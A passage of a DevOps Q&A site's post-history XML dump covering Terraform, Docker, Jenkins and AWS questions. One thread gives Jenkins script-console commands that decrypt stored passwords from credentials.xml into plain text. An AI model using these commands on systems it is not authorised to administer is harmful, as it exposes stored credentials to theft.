o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy" ContentLicense="CC BY-SA 3.0" />
  <row Id="6862" PostHistoryTypeId="2" PostId="2186" RevisionGUID="b6e0727e-5331-4e64-ac4f-038c6e074307" CreationDate="2017-09-28T10:56:06.090" UserId="503" Text="This is failing because you're trying to get the name of the asg before the asg has been created." ContentLicense="CC BY-SA 3.0" />
  <row Id="6863" PostHistoryTypeId="5" PostId="2186" RevisionGUID="092326cb-962c-4652-a2e9-7f0ca399737a" CreationDate="2017-09-28T11:27:12.413" UserId="503" Comment="been more exlpicit" Text="If it doesn't outright fail you can expect to see a cycle warning where you've created a loop in Terraform and it's trying to fulfil your request for `asg-name` before the asg has been created." ContentLicense="CC BY-SA 3.0" />
  <row Id="6864" PostHistoryTypeId="2" PostId="2187" RevisionGUID="01780f9f-ae75-4f1e-a927-4c8fbc071a74" CreationDate="2017-09-28T11:34:17.323" UserId="3899" Text="I know that in generally it is impossible to build FreeBSD Docker image on Linux host OS due to different kernels and sys calls.&#xD;&#xA;&#xD;&#xA;However, I would like to know maybe there is a simple workaround to overcome this limitation?&#xD;&#xA;&#xD;&#xA;P.S. I don't want to consider Vagrant usage inside Docker container and I don't want to consider usage of FreeBSD as host OS." ContentLicense="CC BY-SA 3.0" />
  <row Id="6865" PostHistoryTypeId="1" PostId="2187" RevisionGUID="01780f9f-ae75-4f1e-a927-4c8fbc071a74" CreationDate="2017-09-28T11:34:17.323" UserId="3899" Text="Build FreeBSD Docker image using Ubuntu host OS" ContentLicense="CC BY-SA 3.0" />
  <row Id="6866" PostHistoryTypeId="3" PostId="2187" RevisionGUID="01780f9f-ae75-4f1e-a927-4c8fbc071a74" CreationDate="2017-09-28T11:34:17.323" UserId="3899" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6867" PostHistoryTypeId="5" PostId="2186" RevisionGUID="b2660a43-fd96-4e53-bef6-224469487bb5" CreationDate="2017-09-28T11:40:30.563" UserId="503" Comment="Much more thorough answer" Text="If it doesn't outright fail you can expect to see a cycle warning where you've created a loop in Terraform and it's trying to fulfil your request for `asg-name` before the asg has been created.&#xD;&#xA;&#xD;&#xA;To get what you need you'll need to have something like the following:&#xD;&#xA;&#xD;&#xA;#**module_apps/module_apps.tf**#&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;example&quot; {&#xD;&#xA;      name = &quot;${var.asg_name}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;#**module_init.tf**#&#xD;&#xA;&#xD;&#xA;    variable &quot;asg_name&quot; { default = &quot;asg-ad&quot; }&#xD;&#xA;    &#xD;&#xA;    module &quot;module_init&quot; {&#xD;&#xA;      source = &quot;../module_apps&quot;&#xD;&#xA;&#xD;&#xA;      asg_name = &quot;${var.asg_name}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    output &quot;asg_name&quot; {&#xD;&#xA;      value = &quot;${var.asg_name}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This way, if you call `module_init` somewhere else you'll have `asg_name` available to you. Always be careful of trying to use an output of a module to create the module, Terraform doesn't handle loops like that well and the errors can be confusing to diagnose." ContentLicense="CC BY-SA 3.0" />
  <row Id="6868" PostHistoryTypeId="2" PostId="2188" RevisionGUID="650fd3d8-9ea6-4b4d-93d1-cbb1e3fc381d" CreationDate="2017-09-28T12:07:59.667" UserId="13" Text="As you can't build a docker image for an arm kernel from a x86 one neither.&#xD;&#xA;&#xD;&#xA;Nor can't you build an image with a glibc lib targetting a 4.x kernel on a host running a 3.X kernel.&#xD;&#xA;&#xD;&#xA;Docker isolate processes and give a virtual filesystem but that's still the host kernel who own the process, so obviously without a layer of hardware virtualization like virtualbox, vmware, xen, kvm, there's no chance to build an image with binaries made for a different kernel type." ContentLicense="CC BY-SA 3.0" />
  <row Id="6869" PostHistoryTypeId="2" PostId="2189" RevisionGUID="61cb974e-f57b-46a3-94ba-fbcab162770e" CreationDate="2017-09-28T12:45:17.113" UserId="4544" Text="You can try to use scripting syntax into the declarative pipeline. For some step there is no declarative syntax yet. I had the same problem trying to use the `docker` global variable as a step.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stage ('Docker Build') {&#xD;&#xA;      steps {&#xD;&#xA;        // prepare docker build context&#xD;&#xA;        sh &quot;cp target/project.war ./tmp-docker-build-context&quot;&#xD;&#xA;&#xD;&#xA;        // Build and push image with Jenkins' docker-plugin&#xD;&#xA;        script {&#xD;&#xA;          withDockerServer([uri: &quot;tcp://&lt;my-docker-socket&gt;&quot;]) {&#xD;&#xA;            withDockerRegistry([credentialsId: 'docker-registry-credentials', url: &quot;https://&lt;my-docker-registry&gt;/&quot;]) {&#xD;&#xA;                // we give the image the same version as the .war package&#xD;&#xA;                def image = docker.build(&quot;&lt;myDockerRegistry&gt;/&lt;myDockerProjectRepo&gt;:${branchVersion}&quot;, &quot;--build-arg PACKAGE_VERSION=${branchVersion} ./tmp-docker-build-context&quot;)&#xD;&#xA;                image.push()&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6870" PostHistoryTypeId="2" PostId="2190" RevisionGUID="0258c847-ef59-4292-a5c9-4793cd4561a0" CreationDate="2017-09-28T14:36:42.270" UserId="4168" Text="I have a multi-branch setup on Jenkins for my Gradle project. I would like to be efficient in terms of performance and cost as well (money!). Meaning, if would like to build my project many times, for different branches, commits, in parallel. For that I'm thinking about having everything inside of containers, but I'm not sure if my containers would share the libraries resolved by gradle. Moreover, I don't want to resolve dependencies for every time I bring them up, it would be time consuming and network usage as well. &#xD;&#xA;&#xD;&#xA;Or I'm thinking about deploying a simple vm with Ansible and run my builds from there, making this whole process simpler. &#xD;&#xA;&#xD;&#xA;So I wonder which approach would is better ? Anyone faced a similar issue ? Does someone has any benchmark to share ? &#xD;&#xA;&#xD;&#xA;Thank you for time! " ContentLicense="CC BY-SA 3.0" />
  <row Id="6871" PostHistoryTypeId="1" PostId="2190" RevisionGUID="0258c847-ef59-4292-a5c9-4793cd4561a0" CreationDate="2017-09-28T14:36:42.270" UserId="4168" Text="Multiple gradle builds with docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="6872" PostHistoryTypeId="3" PostId="2190" RevisionGUID="0258c847-ef59-4292-a5c9-4793cd4561a0" CreationDate="2017-09-28T14:36:42.270" UserId="4168" Text="&lt;docker&gt;&lt;ansible&gt;&lt;build-pipeline&gt;&lt;gradle&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6873" PostHistoryTypeId="5" PostId="2190" RevisionGUID="2c3056c0-e6d0-4a80-9387-60ce5f659d98" CreationDate="2017-09-28T14:38:24.413" UserId="210" Comment="deleted 27 characters in body" Text="I have a multi-branch setup on Jenkins for my Gradle project. I would like to be efficient in terms of performance and cost as well (money!). Meaning, if would like to build my project many times, for different branches, commits, in parallel. For that I'm thinking about having everything inside of containers, but I'm not sure if my containers would share the libraries resolved by gradle. Moreover, I don't want to resolve dependencies for every time I bring them up, it would be time consuming and network usage as well. &#xD;&#xA;&#xD;&#xA;Or I'm thinking about deploying a simple vm with Ansible and run my builds from there, making this whole process simpler. &#xD;&#xA;&#xD;&#xA;So I wonder which approach would is better? Anyone faced a similar issue? Does someone has any benchmark to share? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6874" PostHistoryTypeId="5" PostId="2174" RevisionGUID="616ca4cf-3dc0-46b4-b7d1-89962f470ec5" CreationDate="2017-09-28T14:38:40.690" UserId="3616" Comment="deleted 1 character in body" Text="At the moment I am using [Atom][1] which I think is a decent application that has wide support for all of the DSL's you've mentioned at the trade off of some speed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://atom.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6875" PostHistoryTypeId="5" PostId="2187" RevisionGUID="53ea96d1-7fee-490a-b328-8472279ea24e" CreationDate="2017-09-28T14:43:43.060" UserId="47" Comment="added reference link" Text="I know that in generally it is impossible to build FreeBSD Docker image on Linux host OS due to different kernels and sys calls. [Relevant discussion][1].&#xD;&#xA;&#xD;&#xA;However, I would like to know maybe there is a simple workaround to overcome this limitation?&#xD;&#xA;&#xD;&#xA;P.S. I don't want to consider Vagrant usage inside Docker container and I don't want to consider usage of FreeBSD as host OS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://forums.docker.com/t/trouble-when-i-want-to-used-freebsd-images/3309/2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6876" PostHistoryTypeId="2" PostId="2191" RevisionGUID="9d1fd623-6c2d-427e-8ac5-6996afc9853e" CreationDate="2017-09-28T16:42:49.333" UserId="3" Text="I've taken over the project where a lot of Jenkins credentials has passwords or passphrase strings which I need to know in order to progress with the project, unfortunately these weren't documented anywhere.&#xD;&#xA;&#xD;&#xA;I've checked the `credentials.xml` file where these credentials are stored, but they're in not plain text, e.g.:&#xD;&#xA;&#xD;&#xA;    &lt;passphrase&gt;{AAAAAAAAAAAANzxft/rDzyt8mhxpn3O72dxvVqZksL5vBJ4jNKvAjAA=}&lt;/passphrase&gt;&#xD;&#xA;&#xD;&#xA;  &lt;sup&gt;Note: I've changed it slightly for privacy reasons.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;How can I decrypt its original password based on the string above?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6877" PostHistoryTypeId="1" PostId="2191" RevisionGUID="9d1fd623-6c2d-427e-8ac5-6996afc9853e" CreationDate="2017-09-28T16:42:49.333" UserId="3" Text="How to decrypt Jenkins passwords from credentials.xml?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6878" PostHistoryTypeId="3" PostId="2191" RevisionGUID="9d1fd623-6c2d-427e-8ac5-6996afc9853e" CreationDate="2017-09-28T16:42:49.333" UserId="3" Text="&lt;jenkins&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6879" PostHistoryTypeId="2" PostId="2192" RevisionGUID="b937fe29-e57a-46bf-a130-c72ab42849a9" CreationDate="2017-09-28T16:42:49.333" UserId="3" Text="Likely there is a `hudson.util.Secret.decrypt()` function which can be used for this, so:&#xD;&#xA;&#xD;&#xA;1. In Jenkins, go to: `/script` page.&#xD;&#xA;2. Run the following command:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.decrypt(&quot;{XXX=}&quot;))&#xD;&#xA;&#xD;&#xA;  or:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.fromString(&quot;{XXX=}&quot;).getPlainText())&#xD;&#xA;&#xD;&#xA;  where `{XXX=}` is your encrypted password. This will print the plain password.&#xD;&#xA;&#xD;&#xA;  To do opposite, run:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.fromString(&quot;some_text&quot;).getEncryptedValue())&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Source: [gist at `tuxfight3r/jenkins-decrypt.groovy`][1].&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/tuxfight3r/eca9442ff76649b057ab" ContentLicense="CC BY-SA 3.0" />
  <row Id="6880" PostHistoryTypeId="5" PostId="2192" RevisionGUID="205fd4ec-8f08-40c4-bb8a-cf5398c84ac9" CreationDate="2017-09-28T16:59:48.957" UserId="3" Comment="Adds links." Text="Likely there is a `hudson.util.Secret.decrypt()` function which can be used for this, so:&#xD;&#xA;&#xD;&#xA;1. In Jenkins, go to: `/script` page.&#xD;&#xA;2. Run the following command:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.decrypt(&quot;{XXX=}&quot;))&#xD;&#xA;&#xD;&#xA;  or:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.fromString(&quot;{XXX=}&quot;).getPlainText())&#xD;&#xA;&#xD;&#xA;  where `{XXX=}` is your encrypted password. This will print the plain password.&#xD;&#xA;&#xD;&#xA;  To do opposite, run:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.fromString(&quot;some_text&quot;).getEncryptedValue())&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Source: [gist at `tuxfight3r/jenkins-decrypt.groovy`][1].&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Alternatively check the following scripts: [`tweksteen/jenkins-decrypt`][2],&#xD;&#xA; [`menski/jenkins-decrypt.py`][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For more details, check: [Credentials storage in Jenkins](http://xn--thibaud-dya.fr/jenkins_credentials.html).&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/tuxfight3r/eca9442ff76649b057ab&#xD;&#xA;  [2]: https://github.com/tweksteen/jenkins-decrypt&#xD;&#xA;  [3]: https://gist.github.com/menski/8f9980999ed43246b9b2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6881" PostHistoryTypeId="2" PostId="2193" RevisionGUID="6a006301-58b1-478d-b7f2-fb91adb5a7cf" CreationDate="2017-09-28T18:47:17.567" UserId="4546" Text="The problem appears to be that the Windows images configure DNS to first be the default gateway of the NAT interface, and then the DNS of the host machine.  DNS lookups fail against that first resolver and external access.&#xD;&#xA;&#xD;&#xA;Adding `--dns 8.8.8.8` (or your local resolver) to the CLI seems to work around the problem." ContentLicense="CC BY-SA 3.0" />
  <row Id="6885" PostHistoryTypeId="5" PostId="2192" RevisionGUID="5ea6b69f-a416-46da-8c2a-8d37308b22a1" CreationDate="2017-09-28T22:15:34.657" UserId="3" Comment="Uses the right word." Text="Luckily there is a `hudson.util.Secret.decrypt()` function which can be used for this, so:&#xD;&#xA;&#xD;&#xA;1. In Jenkins, go to: `/script` page.&#xD;&#xA;2. Run the following command:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.decrypt(&quot;{XXX=}&quot;))&#xD;&#xA;&#xD;&#xA;  or:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.fromString(&quot;{XXX=}&quot;).getPlainText())&#xD;&#xA;&#xD;&#xA;  where `{XXX=}` is your encrypted password. This will print the plain password.&#xD;&#xA;&#xD;&#xA;  To do opposite, run:&#xD;&#xA;&#xD;&#xA;        println(hudson.util.Secret.fromString(&quot;some_text&quot;).getEncryptedValue())&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Source: [gist at `tuxfight3r/jenkins-decrypt.groovy`][1].&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Alternatively check the following scripts: [`tweksteen/jenkins-decrypt`][2],&#xD;&#xA; [`menski/jenkins-decrypt.py`][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For more details, check: [Credentials storage in Jenkins](http://xn--thibaud-dya.fr/jenkins_credentials.html).&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/tuxfight3r/eca9442ff76649b057ab&#xD;&#xA;  [2]: https://github.com/tweksteen/jenkins-decrypt&#xD;&#xA;  [3]: https://gist.github.com/menski/8f9980999ed43246b9b2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6886" PostHistoryTypeId="2" PostId="2195" RevisionGUID="98a7632e-dd97-464b-9d54-4027d479f0cb" CreationDate="2017-09-29T07:15:46.400" UserId="707" Text="Working with DevOps toolchains requires switching contexts between code, dashboards and command line terminals (local and remote). That is just for one project - and many of us work in more than one.&#xD;&#xA;&#xD;&#xA;To reduce switching and navigating, folks and me too use more and more monitors - $K (UHD) is a welcomed technology.&#xD;&#xA;&#xD;&#xA;Say altogether, a set of windows and terminals for a context is a DevOps viewport (or maybe there is a better word).&#xD;&#xA;&#xD;&#xA;Now, what are - if any - convenient means to &quot;script&quot; windows/terminals configurations as a CaSC-like artefact so you could easily load and switch your CI/CD environment viewports? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6887" PostHistoryTypeId="1" PostId="2195" RevisionGUID="98a7632e-dd97-464b-9d54-4027d479f0cb" CreationDate="2017-09-29T07:15:46.400" UserId="707" Text="Workplace viewport scripting" ContentLicense="CC BY-SA 3.0" />
  <row Id="6888" PostHistoryTypeId="3" PostId="2195" RevisionGUID="98a7632e-dd97-464b-9d54-4027d479f0cb" CreationDate="2017-09-29T07:15:46.400" UserId="707" Text="&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6890" PostHistoryTypeId="5" PostId="2195" RevisionGUID="d0532cea-de0f-46a6-9a73-5dab4f966e86" CreationDate="2017-09-29T07:38:21.923" UserId="707" Comment="added 59 characters in body" Text="Working with DevOps toolchains requires switching contexts between code, dashboards and command line terminals (local and remote). That is just for one project - and many of us work in more than one.&#xD;&#xA;&#xD;&#xA;To reduce switching and navigating, folks and me too use more and more monitors - $K (UHD) is a welcomed technology.&#xD;&#xA;&#xD;&#xA;Say altogether, a set of windows and terminals for a context is a DevOps viewport (or maybe there is a better word).&#xD;&#xA;&#xD;&#xA;Now, what are - if any - convenient means to &quot;script&quot; windows/terminals configurations as a CaSC-like artefact so you could easily load and switch your CI/CD environment viewports? &#xD;&#xA;&#xD;&#xA; - Windows 10 environment?&#xD;&#xA; - Ubuntu Linux environent?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6891" PostHistoryTypeId="2" PostId="2196" RevisionGUID="de91375a-9ac5-45a9-9dcb-4f5b7dc28603" CreationDate="2017-09-29T08:22:15.817" UserId="707" Text="There are of course Dockerizations of Selenium and JMeter - but can they work together? All the tutorials I can find discuss desktop solutions so not headless." ContentLicense="CC BY-SA 3.0" />
  <row Id="6892" PostHistoryTypeId="1" PostId="2196" RevisionGUID="de91375a-9ac5-45a9-9dcb-4f5b7dc28603" CreationDate="2017-09-29T08:22:15.817" UserId="707" Text="Is it possible to design headless tests with JMeter/Selenium? (and Docker)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6893" PostHistoryTypeId="3" PostId="2196" RevisionGUID="de91375a-9ac5-45a9-9dcb-4f5b7dc28603" CreationDate="2017-09-29T08:22:15.817" UserId="707" Text="&lt;selenium&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6894" PostHistoryTypeId="2" PostId="2197" RevisionGUID="e37aaf5d-a353-4dd7-ada9-ad64b25de441" CreationDate="2017-09-29T10:35:33.607" UserId="3055" Text="I would recommend auto-scaling as mentioned above with the addition of some CloudWatch alarms to start the auto-scaling process when specific thresholds start to increase, not when it's already to far gone.&#xD;&#xA;&#xD;&#xA;For example; configure CloudWatch to monitor your server, when the CPU is at 50% or higher for a period of 30 seconds or more start the auto-scaling process. &#xD;&#xA;&#xD;&#xA;This may not be completely faultless but it's easy to do via some online guides and all configurable via the GUI.&#xD;&#xA;&#xD;&#xA;Also, if your landing page is static why not host that on a free-tier t2.micro and use another t2.micro free-tier for your app?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6896" PostHistoryTypeId="5" PostId="1626" RevisionGUID="41cfbe1b-d23f-4384-879e-c904ad667c1f" CreationDate="2017-09-29T13:28:19.737" UserId="3" Comment="Improves post formatting." Text="I have a list of buckets in AWS S3. I have created an IAM user. I have an option to provide S3 full or read only access for a user using groups. Is there any options to provide access only to a particular bucket?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6897" PostHistoryTypeId="4" PostId="1626" RevisionGUID="41cfbe1b-d23f-4384-879e-c904ad667c1f" CreationDate="2017-09-29T13:28:19.737" UserId="3" Comment="Improves post formatting." Text="How to provide a user to access only a particular bucket in AWS S3?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6898" PostHistoryTypeId="2" PostId="2198" RevisionGUID="8d2791b5-ca0c-48b7-881b-3b0a2dcf3c2d" CreationDate="2017-09-29T14:53:41.140" UserId="4555" Text="You can use 2 instance in  AWS free tier if you want to practice as client and Server configuration. When instance is not required shut it down." ContentLicense="CC BY-SA 3.0" />
  <row Id="6899" PostHistoryTypeId="6" PostId="2195" RevisionGUID="06042197-e10d-4754-ac32-17b88af7d603" CreationDate="2017-09-29T14:58:51.683" UserId="47" Comment="fixed typo" Text="&lt;automation&gt;&lt;casc&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6900" PostHistoryTypeId="5" PostId="2195" RevisionGUID="06042197-e10d-4754-ac32-17b88af7d603" CreationDate="2017-09-29T14:58:51.683" UserId="47" Comment="fixed typo" Text="Working with DevOps toolchains requires switching contexts between code, dashboards and command line terminals (local and remote). That is just for one project - and many of us work in more than one.&#xD;&#xA;&#xD;&#xA;To reduce switching and navigating, folks and me too use more and more monitors - $K (UHD) is a welcomed technology.&#xD;&#xA;&#xD;&#xA;Say altogether, a set of windows and terminals for a context is a DevOps viewport (or maybe there is a better word).&#xD;&#xA;&#xD;&#xA;Now, what are - if any - convenient means to &quot;script&quot; windows/terminals configurations as a CasC-like artefact so you could easily load and switch your CI/CD environment viewports? &#xD;&#xA;&#xD;&#xA; - Windows 10 environment?&#xD;&#xA; - Ubuntu Linux environent?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6901" PostHistoryTypeId="2" PostId="2199" RevisionGUID="b19f07fa-8e0d-48c6-b7c2-033ef6ec3cd8" CreationDate="2017-09-29T16:18:26.650" UserId="2805" Text="There are tools around the web for saving desktops. Still best solution I found out to be running a set of virtual machines on your computer, having one setup in one vm.&#xD;&#xA;&#xD;&#xA;That takes some space, but you can save the state of vm upon vm shut down and come back to exactly same state when you come back. Maybe sessions have died but the windows certainly are as you left them.&#xD;&#xA;&#xD;&#xA;Solution is stated on http://www.makeuseof.com/tag/save-restore-windows-session/ and it is for windows but I suppose the same will apply for Linux vm too. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6902" PostHistoryTypeId="2" PostId="2200" RevisionGUID="80460665-2901-4864-87e9-a8564bdda5ab" CreationDate="2017-09-29T17:12:48.457" UserId="47" Text="JMeter supports headless operation, in fact it's even the recommended mode for best load testing results. From [Non-GUI Mode (Command Line mode)][1]:&#xD;&#xA;&#xD;&#xA;&gt; For load testing, you must run JMeter in this mode (Without the GUI)&#xD;&#xA;&gt; to get the optimal results from it. To do so, use the following&#xD;&#xA;&gt; command options:&#xD;&#xA;&gt; &#xD;&#xA;&gt; **-n**&#xD;&#xA;&gt;     This specifies JMeter is to run in non-gui mode&#xD;&#xA;&#xD;&#xA;As for Selenium, things are a bit debatable, the [Does Selenium support headless browser testing?][2] SO post is probably interesting, personally I find [Ross Patterson][3]'s and [General Redneck][4]'s answers most useful - basically recommending the use of a virtual X server ([Xvfb][5], for example) instead of a headless browser.&#xD;&#xA;&#xD;&#xA;A nice related post: [How To Run Your Tests Headlessly with Xvfb][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jmeter.apache.org/usermanual/get-started.html#non_gui&#xD;&#xA;  [2]: https://stackoverflow.com/questions/7568899/does-selenium-support-headless-browser-testing&#xD;&#xA;  [3]: https://stackoverflow.com/a/7573839/4495081&#xD;&#xA;  [4]: https://stackoverflow.com/a/11714359/4495081&#xD;&#xA;  [5]: https://www.x.org/archive/X11R7.6/doc/man/man1/Xvfb.1.xhtml&#xD;&#xA;  [6]: http://elementalselenium.com/tips/38-headless" ContentLicense="CC BY-SA 3.0" />
  <row Id="6903" PostHistoryTypeId="6" PostId="2196" RevisionGUID="bb15d48d-02cf-45c6-a630-78e36c3b7732" CreationDate="2017-09-29T17:15:11.650" UserId="47" Comment="edited tags" Text="&lt;docker&gt;&lt;selenium&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6904" PostHistoryTypeId="5" PostId="668" RevisionGUID="9e210785-5d9f-4961-a63a-6a3c9b7ea9aa" CreationDate="2017-09-29T18:23:16.740" UserId="47" Comment="added 102 characters in body" Text="For questions about Dockerfiles - text files containing instructions to build Docker container images." ContentLicense="CC BY-SA 3.0" />
  <row Id="6905" PostHistoryTypeId="24" PostId="668" RevisionGUID="9e210785-5d9f-4961-a63a-6a3c9b7ea9aa" CreationDate="2017-09-29T18:23:16.740" Comment="Proposed by 47 approved by 228, 40 edit id of 466" ContentLicense="CC BY-SA 3.0" />
  <row Id="6906" PostHistoryTypeId="5" PostId="667" RevisionGUID="36dd2447-0352-483f-aa5d-f4a7ab27343b" CreationDate="2017-09-29T18:23:22.337" UserId="47" Comment="added 442 characters in body" Text="From [Dockerfile reference][1]:&#xD;&#xA;&#xD;&#xA;&gt; Docker can build images automatically by reading the instructions from&#xD;&#xA;&gt; a `Dockerfile`. A `Dockerfile` is a text document that contains all&#xD;&#xA;&gt; the commands a user could call on the command line to assemble an&#xD;&#xA;&gt; image. Using `docker build` users can create an automated build that&#xD;&#xA;&gt; executes several command-line instructions in succession.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/builder/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6907" PostHistoryTypeId="24" PostId="667" RevisionGUID="36dd2447-0352-483f-aa5d-f4a7ab27343b" CreationDate="2017-09-29T18:23:22.337" Comment="Proposed by 47 approved by 228, 40 edit id of 465" ContentLicense="CC BY-SA 3.0" />
  <row Id="6908" PostHistoryTypeId="2" PostId="2201" RevisionGUID="79cb54c5-9033-4aa5-a864-380c60592c1b" CreationDate="2017-09-29T19:28:09.797" UserId="4328" Text="Is a configuration management tool (Chef/Puppet/Ansible) necessary for managing an application on a PAAS system (Azure app service, Heroku, Elastic Beanstalk)? How would it be utilized? While a tool such as Chef does not inherently work on a PAAS system, there are other tools (such as Habitat) that can support this functionality. What kind of steps would it take to integrate these technologies?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6909" PostHistoryTypeId="1" PostId="2201" RevisionGUID="79cb54c5-9033-4aa5-a864-380c60592c1b" CreationDate="2017-09-29T19:28:09.797" UserId="4328" Text="Integrating a platform as a service with configuration management tools" ContentLicense="CC BY-SA 3.0" />
  <row Id="6910" PostHistoryTypeId="3" PostId="2201" RevisionGUID="79cb54c5-9033-4aa5-a864-380c60592c1b" CreationDate="2017-09-29T19:28:09.797" UserId="4328" Text="&lt;configuration-management&gt;&lt;platform-as-a-service&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6911" PostHistoryTypeId="4" PostId="2201" RevisionGUID="45e1446a-7a5e-42bb-8d72-b3cba95e4621" CreationDate="2017-09-29T20:29:19.640" UserId="40" Comment="edited title" Text="How to integrate a platform as a service with configuration management tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6912" PostHistoryTypeId="2" PostId="2202" RevisionGUID="80221e05-7f01-4143-8f9b-c2c15036b25b" CreationDate="2017-09-29T20:41:36.263" UserId="210" Text="A configuration management tool is not required to manage a PAAS. For example, when one has created a VM on Azure then it is possible to export the configuration snippet as powershell or as yaml and use yaml to deploy and manage systems.&#xD;&#xA;&#xD;&#xA;In my opinion one should restrict configuration management tools like puppet or ansible to manage configuration files and installing additional packages and yaml to manage the PAAS as I prefer KISS.&#xD;&#xA;&#xD;&#xA;If one would like to manage different PASS then one could consider to use terraform." ContentLicense="CC BY-SA 3.0" />
  <row Id="6913" PostHistoryTypeId="2" PostId="2203" RevisionGUID="9d661c5e-6b1d-4346-81cb-d17f9c000460" CreationDate="2017-09-29T23:23:03.240" UserId="4561" Text="My suggestion is to set job parameterized with two options, and just set up variables in the Shell Build step, like this:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$VAR&quot; == &quot;1&quot; ]; then&#xD;&#xA;        value1=&quot;1.0.0&quot;&#xD;&#xA;        value2=&quot;myname&quot;&#xD;&#xA;        value3=&quot;build/libs&quot;&#xD;&#xA;    elif [ &quot;$VAR&quot; == &quot;2&quot; ]; then&#xD;&#xA;        value1=&quot;2.0.0&quot;&#xD;&#xA;        value2=&quot;myname2&quot;&#xD;&#xA;        value3=&quot;var/lib&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    echo ${var.value1}&#xD;&#xA;    echo ${var.value2}&#xD;&#xA;    echo ${var.value3}" ContentLicense="CC BY-SA 3.0" />
  <row Id="6914" PostHistoryTypeId="2" PostId="2204" RevisionGUID="38e2fb2c-8a91-4ef3-ae15-c57a86ca4872" CreationDate="2017-09-30T03:01:30.737" UserId="4564" Text="I’d love to help with this if you’re looking for some help. Depending on your page you may not need ec2 at all. For instance if your serving something static or JavaScript it can be served from s3 with a cloudfront distribution. Or we could possibly use an auto scaling group if absolutely necessary. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6915" PostHistoryTypeId="2" PostId="2205" RevisionGUID="359f9865-b918-43db-8c82-6a5b7a64d340" CreationDate="2017-09-30T07:13:46.113" UserId="2765" Text="I would like to share our experience with AWS. We deployed our application on EC2 and face the same problem and also high cost.&#xD;&#xA;We deployed our application **Amazon EC2 Container Service** although our application was monolithic, but we achieved&#xD;&#xA;&#xD;&#xA; - Availability&#xD;&#xA; - Cost Effective&#xD;&#xA; - Scalability&#xD;&#xA;&#xD;&#xA;Application load balancer will handle the traffic and will route traffic to the healthy instance and you can run multiple tasks of same services without worrying of scaling and balancing the load.&#xD;&#xA;&#xD;&#xA;&gt; This architecture makes it easier to implement failure isolation.&#xD;&#xA;Techniques such as health-checking, caching, bulkheads, or circuit breakers&#xD;&#xA;allow you to reduce the blast radius of a failing component and to improve the&#xD;&#xA;Overall availability of a given application." 